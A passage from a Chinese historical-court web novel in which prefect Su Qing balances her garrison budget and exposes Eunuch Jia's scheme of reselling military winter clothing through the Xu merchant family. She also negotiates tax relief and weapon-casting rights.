战神总兵却并不在此。 他们该怎么办。 众人看向齐内官,只见他微微点头,语气带着沉重:“武勇王爷自幼征战,对战机把握地极好。” “若不是被总兵重创,他早就要打过来了。” “有人说,皋青州内已经在招兵买马,这般动静,可不是好事。” 皋青州已然行动。 广乐府呢? 齐内官难得赞道:“幸好现在广乐府知府是你,你也以最快的速度坐稳这个位置。” “倘若金陵那边,真的不给驻军调拨物资。” “那广乐府的安危,将士们的物资。” “就全靠你了,苏知府。” 苏清听此,反而笑了笑,靠在椅背上,整个人明显并不意外。 见她这般,齐内官竟放松了不少。 苏清无奈:“虽然不想多说,但我这样着急走马上任,确实在为战事做准备。” “百姓们经不起新的战火了。”苏清想到了很多,最后只道,“他们辛苦生活,应该有更太平的日子。” 所以她收到的税款。 大概率不会给金陵,而会给驻军。 给驻军招兵买马,给军中搞好后勤。 种田制药,稳定后方,建造城墙,她样样都会做。 至于金陵那边的想法。 顾从斯应该可以解决吧? 不可以的话,让总兵上? 齐内官来前线也有一年之久,也见过无数惨绝人寰的场面。 两人目光落在云喜小妹身上。 还有因战争失去家人的百姓身上。 甚至还想到南江县田县丞,战争带来的阴霾,叛军带来的骚乱,至今还未平息。 如果可以的话,苏清会拼尽全力避免战争。 真的有战事,也要抵挡在广乐府之外。 他们会为之努力。 即使这事,看起来十分艰难。 眼看大家气氛沉闷,小妹显然想起当年的战争场面,哭得喘不上气。 苏清开口道:“我想起史书上一处记载。” 众人看向他,就听苏大人道:“说的是一个国家,为了同胞,为了孩子,战至最后一刻,所有人都觉得他们要亡国灭种了,多数人都觉得未来毫无希望。” 最后呢? 苏清笑:“最后他们成功抵御外地,百姓们安居乐业路不拾遗。还成为一流的强国。” 费秀才绞尽脑汁,也没想到是哪个国家。 不过这结局,好像真的不错。 苏清慢慢道:“眼前的难关跟他们比起来,真的不算什么。” “为了百姓为了减少无谓的牺牲,我们必须抵御叛军,必须守好广乐府。” 第40章 齐内官听着苏清的话,整个人明显没那样沮丧。 自总兵走后,终于有件顺心如意的事。 有了苏清这个承诺,他终于能睡个好觉了。 齐内官带来的手下等人,也被好好招待,有梅娘操持这些事情,根本不用苏清担心。 而苏清这里,却没那样轻松。 广乐府税款一到账,不止军中立刻派人过来。 衙门各部,官学等地,都眼巴巴看着。 金陵那边,甚至还有人在问。 衙门三班六房的还好,苏清绝不会短了大家的俸禄,这部分预算早就留下。 还有府内两处堤坝,以及依松县城墙,这些必要支出也不能省。 零零总总加起来,七十六万税款,还余五十九万。 这银子看似很多。 但军中是个吞金兽,这点苏清跟邬户司十分了解。 去年全国给的运送后勤补给,基本都经过了南江县。 她们两个虽不知具体账目,但只看来往人数,心里就有谱了。 户司老杜对此极为震惊,再听主事邬杉月细细讲来,不由得心服口服。 此刻,苏清,左右书吏,户司两位主事,都在衙门书房商议预算之事。 老杜算是唯一一个“外人”,不过越接触下去,越知道跟在苏知府身边的人,没有一个吃干饭的。 尤其是邬户司,本以为她靠着同为女子的身份,才被苏知府看重。 没想到却是个有这本事的,当下也服气不少。 把各项预算划分的差不多了。 老杜道:“还有一处,只怕不会罢休。” 老杜了解府衙,自然是敢说的,指了指官学那边:“给府学留的银钱太少,估计会有不满。” 府学那边也耗费极大。 先不说官吏夫子们的俸禄,还有生员们的俸米,算起来支出不少。 给他们那点钱,学政肯定不高兴。 要说如今这种情况,砍这部分支出,大家都能理解。 问题是,金陵那边可是很看重科举的。 这点人人都知道。 官学肯定会借机闹事。 苏清笑:“这个好办。” 苏清对费秀才道:“为了帮朝廷选出真正可用之才,组织登记在府学的生员们再次考试。” “若有不通过的,就革去生员之名,不再享受俸米。” 就是把府学不合格的学生踢出去。 那就不用发钱了! 啊? 不仅不多拨钱,还踢人?! 苏清道:“顾举人曾说过,如今府学生员非富则贵,应该不需这点银子。” “让他们好好考试,选出有真才实学的,皇上才高兴。” 老杜发现,他就多余问这一句。 现在好了,府学还有功夫管预算的事? 自己肯定先打破头了。 原本以为的难题,被苏知府随手解决,老杜反而来了兴致,目光放在军中预算上。 前面那些,不过开胃小菜。 对广乐府府衙来讲。 军中预算,才是大头。 昨日齐内官跟他的副手贾内官一起过来。 两人分别送上两份账册。 齐内官负责军中日常粮饷。 这是军中固定花销,一个月差不多三万九千两。 苏清再三核算,知道账目没什么问题。 “太多了。”邬户司忍不住道,“怪不得去年那会,南江县会聚集那么多人。” 全都是送物资的。 她们之前只负责接送来往差役,并不知道具体的物资数目。 怪不得押送物资的差役们,个个叫苦不迭,说这些后勤物资,都是各地牙缝里挤出来的。 现在他们负责此事,更了解军中不愧为吞金兽之名。 而这只是日常开销而已,齐内官这次请求半年的拨用。 粮食加各类物资,折银二十三万四千两。 给物资给银子都行,齐内官不挑。 但有谁记得,他们府衙的预算只剩五十九万了啊。 若把这项费用添上,银子瞬间少了一半。 这只是齐内官递上来的粮饷预算。 还有贾内官另一本账册。 他负责的差事为军装采购。 马上入冬,他预计要采购两万套冬衣,而这部分所需银钱,则为十二万白银。 这些账册看的衙门众人眼前一黑又一黑。 怪不得人人都不想当这个知府。 确实不好当啊。 倘若再把这部分预算添上,那他们府衙还剩多少钱?! “减去基本的粮饷,再减去冬衣预算,只有二十三万六千了。” 此言一出,众人沉默。 先不说金陵那边的公银还没给。 就说明年怎么办! 现在的军中粮饷,只扣到明年二月份。 三月份还有新的账单产生。 到时候怎么给啊。 若再遇到什么突发情况。 府衙的日子还过不过了。 这个时候,就听他们苏知府还幽幽道:“这还是不打仗的时候的,若打仗的话,征调民夫修筑防御工事,购买武器盔甲。” “又要多少银子?” 别算了别算了。 再算下去。 日子都过不去了。 他们府衙辛辛苦苦一整年,倒欠军中几十万两! 还是那句话,都不愿意来这里当知府,是有原因的! 大炮一响黄金万两。 放到这个时候,极为贴切了。 府衙众人齐齐叹气。 可他们又知道,不管军中才是自寻死路。 “要不看看,府衙还有什么预算可砍?”户司老杜道。 但看了又看,他们的支出已经压到极限。 怪不得苏知府不给府学银子,估计早就知道衙门税银不够花。 邬户司却拿起齐内官跟贾内官的两本账册,随后把齐内官的粮饷账册放下。 另一份冬衣账册仔仔细细看完,脸上带了疑惑。 苏清点头:“这份账目不能批。 为何? 邬户司解释道:“去年年底那会,各地运了不少冬衣到前线。” “虽不知具体数目,但数量绝对够了的。” 罗主簿对此也有印象。 去年各地都在运物资到军中。 负责接受物资的人,甚至可以挑挑拣拣。 急需的东西,会第一时间运回去。 不太紧缺的物资则拜托南江县衙门找仓库,并帮忙保管一段时间。 冬衣便是个例子,去年十月十一月时,但凡有冬衣送来,军中立刻就拉走了。 但到十二月,便没那样着急。 甚至一部分冬衣,等到第二年开春才拉走。 这说明了什么? “说明军中不怎么缺冬衣。” “即使不够用,缺口也不会这样大。” 一共六万驻军,直接买两万件? 冬衣不比其他,并非是消耗物资。 普通人家的冬衣别说穿个一两年,便是七八年也不为过。 为何军中就需要一年一换? 这个贾内官,绝对不老实。 众人脸上变得难看。 顺昌国都这样了,广乐府税收也这样了。 还有人利用军中采买,中饱私囊? 费秀才下意识道:“以前有总兵压着,他们不敢做什么。” “总兵一走,这些后勤内官,就各有各的想法了。” 祝书吏点头同意。 户司两个人也默默点头。 那这事,该如何办? 直接跟贾内官翻脸吗? 不太好吧的,他都干这种事,肯定有靠山。 苏清又看向另一本账目,开口道:“先把其他预算批了,还有官学那边交给费秀才。” “户司邬主事,杜副主事,去拨调粮饷。” 至于贾内官的冬衣账目,就先晾一晾。 大家听此,就知道知府大人心里有数,立刻领命称是。 今年的预算一公开。 最先闹起来的,肯定是官学那边。 学政黑着脸出现,看苏清的眼神,简直带了恨意。 可惜苏清不跟他多说,费秀才便迎上去。 他若搞不定这事,那就枉做苏大人的书吏了! 那样他自己都看不起自己! 苏清见躲开了,便带着祝书吏去找齐内官。 要说冬衣问题的解法。 还在他们内官身上。 甚至看到账册的时候,苏清便觉得奇怪。 这次来的内官队伍,齐内官为正,贾内官为副。 但前者负责的,则是最基本的粮饷。 这部分油水虽大,但指望将士们打仗时,还是不能妄动的,这是军中根本。 反而是副手贾内官负责冬夏军装。 布料衣裳这种东西,价格可上可下,质量参差不齐。 既不是粮饷那种最基础的,还不是盔甲武器那种要命的,能捞这多捞。 不管这两位内官背后是谁。 但不合是肯定的。 这般分赃不均,和气反而是怪事。 苏清找到齐内官时,他果然静待多时,并让云喜小妹先离开。 这般严肃,看来早知道苏清会找来。 齐内官目送两个孩子离开,又向苏清做礼,苏清自然回礼:“齐内官客气了。” 推让过后,两人坐下。 就听齐内官道:“两本账册看完了?” 说罢就道:“若看不出其中猫腻,也就不是你了。” 跟聪明人说话果然简单。 不过祝书吏看着她们家大人,大人还是没有接话,只是喝茶。 齐内官看向苏清,明显等她讲话。 苏清见他实在不肯说,这才放下茶杯,提起一桩往事:“五月十七,是余内官忌日。” “那日我带着云喜小妹去余内官墓前拜了拜,又请和尚做了法师,也不知他亡魂是否安息。” 好端端的,提起这个做什么。 祝书吏那会虽然不在,却也知道其中的凶险。 尤其是眼前的齐内官,对此十分介怀。 果然,齐内官脸色更差,不过他却不是对苏清发火,而是捏紧茶杯:“快了,快能安息了。” “看来,齐大人已经找到,是谁动的手?”苏清继续道。 齐内官深深看了苏清一眼。 这小姑娘,太聪明了。 眼前这事,她不仅能看到第一层,还能看懂第二层。 齐内官干脆道:“明人不说暗话。” “这次带他来,就是想借你的手,除掉他,给孩子们干爹报仇。” 祝书吏脑子飞转。 终于在两人的哑谜当中,知道他们说的人是谁。 贾内官?! 贾内官就是当初害死余内官的人?! 也是,余内官本来就是齐大人如今的位置,也就是贾内官的上司。 若那位死了,贾内官便能上位。 没想到横插个齐大人,让他希望落空。 想来,就是齐大人蛰伏一年多。 又找准总兵不在,贾内官又想贪污军资时,将他一举拿下。 好报当年好友之死的仇! 把人弄到广乐府府城,也是看准他们知府大人聪明,绝对能看出贾内官贪污的伎俩。 从而借着苏大人手,把仇人折在这。 此事一环套一环。 若只看明白账本有问题,苏知府就会无意间成为人家报仇的工具。 可大人不仅看出第一层,第二层的端倪也了然于胸。 苏清脸上,并未带着被借刀杀人的愤怒,反而极为冷静道:“我能得到什么。” 成为一把刀,未尝不可。 问题是,她能得到什么。 不等齐内官开条件,苏清直接道:“我要两件事。” “一,今年不给金陵交税款。” “二,我要广乐府武器铸造权。” “只要你能做到。” “贪赃枉法的贾内官,必将绳之以法。” 第一件事好说。 第二件事?! 武器铸造权?! 苏清故意叹气:“打仗是要用盔甲用兵器的。” “外面买的东西太贵,我想自己造啊。” 40-45 第41章 想让苏清帮忙解决问题,自然是有条件的。 齐内官甚至也做好这个准备。 可他没想到,苏清直接狮子大张口。 金陵那边极缺钱,这点大家都知道。 免税款这种事,已经很难办了。 还要武器铸造权?! 苏清怎么能张得开口。 但他把姓贾的带过来,却只字不提。 等苏清戳穿,才说明真相,实又有些理亏。 齐内官斟酌片刻,就听苏清继续道:“现在全国各地物资,都要优先供应京郊总兵。” “如果皋青州战事起来,先不说咱们这有没有钱,就算有钱,到时候会给咱们兵器盔甲吗?” 齐内官负责后勤,自然知道各类武器装备的价格,如今一副弓十支箭,已经卖到四两银子。 单一支羽箭也要二十二文上下。 人的盔甲则要二十两,马匹盔甲也要十两。 更不用说修补武器用的生铁,价格直接翻倍。 齐内官知道,苏清也知道。 否则不会提起这件事。 不说广乐府根本没钱,倒时候有钱都买不到。 长线运输物资,本就不是正事。 若无朝廷牵头,更是艰难。 苏清只有自己想办法,也只能依靠自己。 这会与其说谈条件,不如说把困境先摆在面前。 齐内官也好,镇守大臣梁公公也好。 他们才是最想结束战争,最想带着功劳回朝的。 毕竟在前线的,可是他们。 一旦武勇王爷冲过来,他们别说带着功劳回朝廷了,能保住命就是好事。 在这点上,苏清跟他们一样,这点不用多讲。 所以苏清不在乎内官之间的争斗,也不在乎他们背后的人是谁。 只要能为战事做贡献,那她就会努力促进。 齐内官沉默许久。 在苏清面前,他那点恩恩怨怨阴谋算计,实在有些可笑了。 想来,他敢带着姓贾的过来。 就是知道,苏清不会允许这种贪污军资的人留在军中。 若换了其他知府,自己怎么会想到这一招。 肯定更怕那人跟姓贾的同流合污。 “很难。”齐内官道,“其实第一件事就很难。” “金陵缺钱的程度,比你想的还要深。” “第二件事也不好说,军备开支之大,你心里也有数,里面利润多少更有数。” “广乐府要是包揽了,就断了很多地方的财路。” 苏清一惊。 金陵朝廷,真惦记她这三瓜俩枣啊? 至于第二件事的难度,她也想过。 但这不是没办法吗。 她太穷了啊。 齐内官最后道:“我尽力去办,你也用用你的人脉。” 她的人脉? 苏清沉默。 顾从斯啊。 以前没退婚的时候,自己不怎么需要他帮忙。 如今婚退了,反而经常求他帮忙。 苏清又想了想。 脑子闪过几个名字。 叶山鸣? 这位是个有钱的,要是能让他帮忙,倒是能缓解金陵那边的麻烦。 但这事如何说呢。 若有好处,他自己都贴上去了。 除了他之外,还能有谁? “花景明。”苏清突然道,“若花家也支持本地得铸造权,如何?” 齐内官眼睛亮了。 花家可以! 他家在广乐府耕耘之深,朝廷都比不得。 若这家动心,倒是可以的。 不过这一切的前提。 是姓贾的先被绳之以法。 齐内官道:“我现在就上书,请皇上看在广乐府支持军中的情分上,免了今年的税收。” 这算是齐内官的诚意。 姓贾的,就交给苏清了。 苏清无奈起身,假装叹口气:“难啊,让你们帮点忙,就要我劳心劳力。” 跟在苏清身后的祝书吏,已经有些走神了。 不是无聊,是太过震惊。 她脑子根本不够用啊。 怪不得费秀才一直要跟她抢这个位置,她如今更明白了。 不过那贾内官要如何处置? 怎么才能揪出他的错处? 接下来,祝书吏就看到苏大人如何做事了。 苏清本就压着冬衣的账册,让户司先去处理齐内官的粮饷账册。 这让贾内官很是不爽。 过了三四天,第一批粮饷都运出去了,贾内官那边还是毫无动静。 姓贾的果然坐不住,苏清正办公呢,他直接闯进书房,看着云喜道:“听说苏大人身边的小厮,喊齐内官一句齐叔?” 这事不算秘密。 但此刻说出来,就是暗示苏清跟齐内官有利益勾结。 这人指责之时,苏清恍然大悟一般,开口道道:“贾内官来了,正巧有事问你。” “冬衣共计两万套,十二万两银子,这些问题都不大。” “只是这么大数额的冬衣,要从哪里购置,这边要做个记录。” 在贾内官看来,苏清就是被他吓到,所以赶紧办正事。 果然是被搪塞出来顶锅的女知府,一点定力也没有。 贾内官坐下,下巴抬起:“两万套冬衣就算多了?” “负责制造冬衣的,江南宿州大户徐家,他家与叶家在江南都是鼎鼎有名的。” “两万冬衣不在话下,只要这边给钱,那边立刻开工,保准在十一月前送到。” 现在已经九月份,十一月就能送到两万冬衣? 这也就是欺负苏清,以为她不懂进度。 就算放到现代,这样的工作量也颇有些头疼。 何况古代? 即便能做出来,那质量也不敢保证。 这是冬衣,不是夏天衣裳。 把徐家抬出来,更是要压苏清的气势。 苏清点头道:“原来是这样,那本官心中有数了,还请贾内官稍等。” “户司这边批出银子,再跟您确认。” 凡事都要走个流程。 贾内官得到准话,便抬着下巴离开。 小小女知府,果然好糊弄。 苏清知道他的想法,却对有些恼怒的祝书吏道:“这种看不起,倒是好成事。” 说着,苏清开始写信。 前几日才想起叶山鸣,这次还真要找他。 徐家跟叶家齐名。 且都做布匹生意。 那徐家这么大的买卖,不让叶家知道,实在不合适吧。 叶山鸣那样爱赚钱的人,看到别人赚钱,心里肯定不舒服。 让他去查查里面的猫腻,自己也不会亏待。 苏清心里隐隐有个猜想,等着叶山鸣确认。 故而信里给了查证的思路。 这封信快马加鞭寄出,扳倒贾内官正式提上日程。 那另一件事,她也要同时做。 苏清对云喜道:“你亲自帮我跑一趟,今晚酉时,请花家三少爷吃饭,谢他今年专程去了趟南江县,帮了我大忙。” 这当然是个借口。 当时花景明紧赶慢赶,也没赶上前吏司主事家的仆从去找顾家夫妇。 更没阻止两人退婚。 所以花景明听到口信时,还以为苏鹤鹤骂自己呢。 但这邀约,他肯定要去的。 毕竟苏清来府城一个月了,他们也没说过话,甚至也无信件往来。 还不如苏清在南江县时,他们交流的反而更多。 花景明憋了一肚子的话,到酒楼的时候,苏清盯着他看了会。 这才九月份,这人就已经穿上狐狸毛边的宽袍大袖,整个人看着显眼无比,没看错的话,那衣服上还有孔雀羽毛织的花样。 不错不错,果然是大户人家。 被苏清打量片刻,花景明看了看自己,又看看对方那一身素净衣裳,开口道:“想要?一会送你几匹好缎子。” 花景明带着小厮进来,见苏清身边跟着云喜跟一个女书吏,就道:“我是有话同你说的。” “跟顾从斯有关。” 听此,苏清只好让其他人去外间等着,包厢里间只有苏清跟花景明。 花景明直接道:“我想了许久,你是不是介意前吏司主事的事?” “他家见你来府城做知府,便跟着赵大人一起去了徽州,你不用介怀。” “顾兄最近来信,经常提到你。” “似乎,对你们退婚的事,毫不知情。” 所以他作为顾从斯好友,肯定要劝一劝的。 趁着还没彻底闹掰,赶紧撮合撮合。 以他来看,不管顾从斯走到什么位置,在皇上心中地位如何。 苏清配他,绰绰有余。 这般好姻缘,不该耽搁了。 花景明说完,紧紧盯着苏清,想看她的反应。 苏清虽是未嫁女子,提起婚事倒是一如平常,此刻只是有些无奈:“有些事多说无益。” “咱们别提顾从斯了,我找你来,是有其他的要紧事。” 听此,花景明反而笑了下,好笑道:“你找我,竟跟顾从斯无关。” 说完这话,他又笑的真挚了点:“难不成真看上我的衣料了。这可是滇州来的,回头我找最好的裁缝帮你缝制。” “不过你跟顾从斯,真的没可能了?” 苏清让他住口,直接道:“听闻金陵那边缺银子。” “你父亲最近也被召到金陵挺差,是否跟这事有关?” 皇上缺银子,不仅扒拉各个地方。 像这种世家大族,肯定也会问上一问。 花家这种情况,自然不会缺席。 说到家里的事,花景明正经了些。 他爹离家不是秘密,甚至在苏清来之前就被召走了。 但她问这事,又是为何:“我爹也写信说,金陵无事,估计很快就回来。家里的事都是我大哥跟二姐管,我知道的不多。” “想来无非破财消灾。” 还好破的不多。 苏清看明白他的表情,干脆道:“顺昌国局势多变,京城,金陵,广乐府,无一处有太平日子。” “所以,我跟军中齐内官商议。” “若广乐府有武器铸造权便好了” “你觉得呢。” 花景明收敛笑意,看向苏清,随后笑道:“苏鹤鹤,你找错人了。” “我就会弄些好玩的物件,喜欢撮合别人婚事,凑个热闹。” “这种事,与我无关的。” “真的,这次你找错人了。” 苏清眉头紧皱,换做她盯着花景明。 让花家参与这件事,其实并非苏清所愿。 毕竟这家势力已经足够大。 若再参与,难免控制不住。 她都知道这事极好。 花景明却断然拒绝? 这里面,必然有什么隐情。 第42章 花景明这才意识到自己反应过度,想打个哈哈过去。 就听苏清道:“好吧,那能不能请你帮帮忙,寻一下你大哥或二姐。” “此事我同他们谈。” 花景明叹口气:“其他事就罢了,这种能让花家更上一层楼的消息,我不能这个中间人。” 不管是花家大哥还是二姐,此刻听到这个消息,必然欣喜若狂,如获至宝。 偏偏是他这个小弟,不能开口的。 对于花家的情况,苏清知道一些。 却没想到,花景明能谨慎到这种程度。 他这般做,就是不想站队任何一方。 没错,站队。 花景明他爹后宅不稳。 先是娶了孟娘子,又跟自家表妹纠缠不清。 最要命的是,王表妹未过门,先一步生下花家大公子。 随后不到两个月,孟娘子生下花家二小姐当日,便气绝身亡。 二小姐自生下来,便在外祖家长大的,十五岁及笄才送回来。 这一回来,肯定跟已经为续弦的继母针锋相对。 花老爹喜欢续弦跟大儿子。 对二女儿也百般愧疚。 所以不管发生什么,都一概不管。 双方只要不闹出人命,再怎么夺权怎么闹,他都当做不知道。 至今十二年过去,即便花家二小姐已经成亲嫁人,情况也没有好转。 甚至因为年纪渐涨,手段都更激烈。 作为王表妹转正后所生的花景明,他自幼聪慧,从小就知道这些事,向来只当没不知道。 二姐也防过他。 不过见他无意帮大哥夺权,也就不再多想。 花家大哥本来是埋怨小弟不帮忙的。 但在花景明考上举人后,态度也变得奇怪,更愿意让小弟做个富贵闲人。 这些事苏清虽了解,却也没想到花景明能谨慎到这种程度。 只是牵牵线都不愿意。 随即也意识到。 若广乐府能有武器铸造权,对花家来说,确实是极大的提升。 就是因为提升太大。 所以花景明不愿意掺和。 见他态度强硬,苏清也不逼迫,只好道:“好吧,回头找机会,同你大哥二姐说。” 此言一出,花景明有些头疼,直言道:“你不要搞事。” 明知道他们家的情况。 现在还要两个都请。 不怕自己大哥二姐打起来吗。 苏清反问:“这么好的机会,若是给了其他家,你大哥跟二姐会高兴吗?” 肯定也不会。 花景明更头疼了,最后只好道:“武器铸造权十分敏感,金陵那边本就惊慌,只怕不会轻易松口。” 顺昌国本就乱。 若再开铸造权的口子,谁知道以后会怎么样。 所以这事需要斟酌。 苏清难得碰壁,也知道花景明说的没错。 好在这事并不怎么着急。 还是先处理好贾内官的事,有齐内官帮忙,武器的事还有希望。 这次见面过后,花景明当真送来几匹绫罗绸缎,还有府城喜爱的冬日皮料。 送到梅娘手中,她也是十分高兴的。 梅娘正准备给两个孩子做冬日衣裳,这料子刚刚好。 不过她也问道:“清清这料子能收吗?” 苏清点头笑:“当然可以。” 花景明送出去的东西,自然不会收回,而她也不会白要这些东西。 她打定主意,要跟花家合作。 他家那种情况。 对自己来说,反而是好事。 跟花家合作铸造武器的想法,暂时压下。 苏清已经收到叶山鸣的回信。 九月初二送去的信件。 初五回信就来了。 叶山鸣信中也写明,他知道同为布料商的徐家跟内官来往的事。 也知道他们要给军中提供冬衣,甚至已经在预备布料。 但据他所知。 徐家预备下的料子,并不够做两万套冬衣的。 信就写到这,接着说,苏清给的思路很有用,他调查出结果,会再回信的。 最后一段,则恭喜苏清荣升知府,借机送上贺礼,还说自己年底前或许会去一趟广乐府府城。 但叶山鸣来的,比他说还要早。 九月初八傍晚,叶山鸣出现在府衙书房。 以往他都是坐船过来,这次骑马日夜兼程而来。 苏清难免有些惊讶。 不过看叶山鸣脸上的笑意,就知道他拿到对家的重要把柄,否则不会这么高兴。 两人认识也有几年时间,这点默契还是有的。 叶山鸣笑着道:“好久不见,苏大人风采依旧。” 苏清看了看他,忍不住道:“把后厨熬的粥端过来,再添几样小菜。” “先吃饭吧。” 叶山鸣顿了下,无奈道:“我看着很疲惫。” 疲惫里带着兴奋。 苏清陪他吃了顿饭,手下等人也备了饭菜。 吃喝过后,叶山鸣才说起正事,语气带着不一般的兴奋:“徐家确实在准备冬衣料子。” “差不多五千套冬衣的材料,已经开始做了。” “估计就等你们这边拨钱。” 只有五千套。 苏清他们这边拨款,可是两万套冬衣。 叶山鸣接着道:“你猜的没错,他们就是在倒卖军中物资。” “去年各地运送到前线的冬衣,应该没用完,还有余货,这些余货低价卖给徐家,徐家再做五千套冬衣添上。总共凑足两万,从你这再拿银子。至于他们怎么分钱,就不得而知了。” 叶山鸣把证据一一摆好,甚至还找来徐家的人证。 这人是徐家货船上的小管事,今年去了南江县一趟。 把贾内官偷运出来的一万五千冬衣装船,一路送回扬州码头仓库。 徐家以二两银子一套的价格买走这船货物,回头再以六两的价格卖给广乐府。 倒倒手便是六万两银子到手。 而贾内官那边,先是拿军中货物平白换了三万银子。 等交易成功,徐家应该还会再给抽成。 贾内官徐家挣得满嘴油。 吃的却是外地送来的物资,以及广乐府本就不多的税银。 现在人证物证具在,只要报给贾内官上司齐大人。 后面的事,就不用苏清操心,自然有人定贾内官跟徐家的罪。 毕竟最重要的一环,已经确定了。 苏清看向叶山鸣,开口道:“此事,算我欠的人情吗?” 叶山鸣也笑:“要看怎么说了。” 他眉目舒朗,格外开怀:“能打击徐家,对我自然有好处。” 所以苏清才把事情交给他,知道这事对他百利而无一害。 苏清这人,太会借力打力了。 苏清这边也不耽搁,让叶山鸣先去休息,自己直接去找齐内官。 齐内官的差事已经办的差不多了。 三个月的粮饷已经清点完毕,第二批粮食都送了出去。 只有贾内官在他面前,一直抱怨女知府办事太慢,冬衣的事情迟迟不确定。 姓贾的越这么说,齐内官越高兴。 再加上云喜小妹两个孩子,还伴在他左右,一口一个齐叔,让他颇享天伦之乐。 不过看到苏清过来,齐内官眼神更加兴奋。 等看到姓贾的跟徐家勾结证据,以及人证时,简直高兴到极点,不过他也问道:“徐家的管事,为什么愿意作证?” 苏清看了看两个孩子,让他们先出去,这才道:“徐家老爷睡了这小管事的妻女,气死他的老爹。” “原本就是替徐家办差,回去之后,妻女带着孩子搬到徐家老爷置办的房子去了。这小管事不愿意做王八,又有杀父之仇,又被叶家找上,故而愿意作证。” 原来还有这档子事。 齐内官更加满意,此刻也终于愿意透漏口风:“广乐府免税款的事,你就等好消息吧。” “对了,你未婚夫叫顾从斯?他也帮了大忙。” 放下这句话,齐内官便带着手下去找姓贾的麻烦。 第二天,天还未亮,贾内官一等人就被抓住,押往军中镇守大臣梁公公面前听审。 贾内官被押走时,死死盯着苏清。 这个女知府怎么知道他跟徐家的事。 怎么能查的那么清楚?! 她到底有什么神通啊,之前故意示弱,就是让他放松警惕?! 越这样想,贾内官却生气。 可他被拿住把柄,即使是太后来了,也救不了他! 因为到了现在,贾内官自然知道,他的上司齐大人早就查到是他暗害的余公公。 故而有此报复。 当年余公公在南江县休养,身体已经好了大半。 但那会五月初,刚到军中,突然又下了大雨,他淋了场雨,本也是没有大碍的。 可贾内官买通厨房,在余公公食物里动手脚。 等余公公意识到不对时,已经无力回天。 贾内官见此,又撺掇把本就病重的他,送到南江县,方便转移怒火。 若不是当时的苏清反应迅速,处理得当。 那直面齐内官怒火的,必然是南江县了。 兜兜转转,想要害苏清的人,如今被苏清绳之以法。 都说因果报应,他这也算报应吧?! 贾内官眼神里带着惧怕。 他实在不该小瞧苏清的,这种人,怎么会是好惹的?! 齐内官走之前,再次谢过苏知府,答应她的两件事,他都会办。 免税款的事,大概已经成了。 武器铸造权,他会全力帮忙,成不成不好说。 有这句话,苏清也就放心。 送走两位内官。 衙门不少人还迷迷瞪瞪。 给军中的粮饷拨了。 冬衣怎么突然没了下文,军中不用了吗? 苏大人用的什么法子,突然少了十二万的支出?! 这未免,有点太神奇了吧?! 这阵高兴还没过去。 金陵朝廷那边,又来了好消息。 皇上圣旨。 因广乐府情况特殊,今年的税金也免了,让苏知府潜心办差。 “怎么可能?!又免了?!” “去年是赵大人的父兄在朝廷上说情,今年为什么啊?” “不是说金陵朝廷很缺钱吗,竟然主动免了。” 其中内情如何,很多人都不知道。 但这两件事情,直接给府衙省了几十万两银子啊。 这对本地衙门来说,只有好处的。 苏清看着大家表情,依旧笑眯眯的,不过直接躲开学政的目光,费秀才也适时挡住学政步伐。 学政看着苏知府背影,再看看费秀才,咬牙道:“你也是童试第一的人,以后科举有望,为何不帮官学说话。” “不给官学预算,那该如何做事?” “现在军中不要冬衣了,金陵也不要税银,随便挪给官学一点,岂不是极好?” 费秀才不听那么多,他这人只忠心于苏知府! 费秀才直接开口:“学政大人,官学的预算已然定下,还是赶紧整顿生员,为皇上选拔人才的好。” 他分明是在暗示学政,把不合格的学生裁减了,你们预算就够用了的。 眼看费秀才油盐不进,似乎只能按照他说的做。 学政恨恨离开,显然不打算放弃。 而衙门这边,也终于知道不用购买冬衣,以及朝廷不要税银的原因了。 先是军中那边传来消息。 负责后勤的齐内官发现自己属下与江南扬州徐家勾结。 所以才赶紧回军中,交给镇守大臣梁公公发落。 这里面自然有广乐府知府苏清的功劳。 那贾内官先偷军中冬衣卖与徐家。 再让徐家卖给广乐府。 这种一本万利的买卖,贾内官已经不是头一回做了。 之前总兵在时,他还收敛些。 总兵离开,便肆无忌惮。 什么盔甲兵器,冬衣被褥,无一不卖。 现在全都被查获,徐家也被扬州知府扣住。 别说那冬衣要尽数归还。 徐家的家产,大概率也会充公。 小道消息说,徐家库房各种珍玩,其中半数已经运往金陵。 当然,这是小道消息了。 不过金陵确实不要广乐府府衙税银,倒是确定的。 听说从八月秋收之后,在金陵翰林院做官的顾举人便提起此事。 大意是,广乐府还要负责军中后勤,那边情况又不好,实在交不起银子。 反正说来说去,就是想免了今年的税款。 为此,本就被针对的顾从斯,自然又多了不少政敌。 好在皇上不知为何换了想法。 再加上徐家财产被封,又有其他种种,总算下旨免了广乐府这桩麻烦。 “也就是说,这两件事,都是咱们知府运作的?” “肯定啊,贾内官偷盗一事,就是在府城被发现。” “顾从斯又跟咱们知府关系匪浅,再加上齐内官也跟皇上说情。” 别人还在猜测,户司副主事老杜直接找邬主事询问情况。 邬户司自是知道这些事的,不过也没明说,只道:“相信咱们知府就对了。” 经过这事,谁不信她啊。 别人还在发愁银子不够用,她便解决两桩麻烦。 算起来,现在府衙只用负责军中每个月三万九的粮饷即可。 虽说这个数字也不小。 但比之前强多了啊。 他们新知府,还真有办法。 府衙正高兴的时候,户司跟工司又被喊了过去。 这次给他们任务,则是拿着好不容易省下来的银子做两件事。 “建仓库,囤粮。”苏清道,“之前查了本府库房,多年没有修缮,更别提多囤粮。” “现在抽出时间,把库房都被修好,囤粮备好。” 啊? 这钱不是终于省下来了吗。 这样花吗? 苏清懒得解释,只道:“趁着秋收刚过,正是囤粮的好时候。” “军中那边常年要粮饷,总要提前预备。” 此话一出,众人立刻点头。 不过苏清也道:“优先收外地的粮食,督促各县也要修缮粮仓,年底吏司考核,会着重看这方面。” 修仓库,囤粮。 就是户司工司接下来的差事。 不仅府城要做,各个县城都要做。 从八月到到如今的九月十六,苏清已然彻底掌握府衙,下面各县也还算听话。 故而这条政令,很快传达下去。 修仓库。 囤粮。 谁都不敢马虎。 吏司还在后面盯着呢。 那魏来魏吏司,简直神出鬼没的。 听说他在南江县时,就让各级官吏十分惧怕。 如今更是如此。 他甚至会让手底下官员乔装打扮,去下面各县巡查,若是查出问题,他还能直接跟苏知府汇报。 有这份监督在,谁敢马虎啊。 各地囤粮,倒是影响另一个人的买卖。 那就是千里迢迢来送消息的叶山鸣。 他带着人证物证给了苏清,在她那吃了顿热汤饭,又去了自己酒楼休息。 等他巡查完广乐府的买卖,便有了广乐府各地囤粮的消息。 叶山鸣带着一头问号去找苏清,苏清正在书房处理公文,直接道:“我这样帮你,你抢我买卖?” 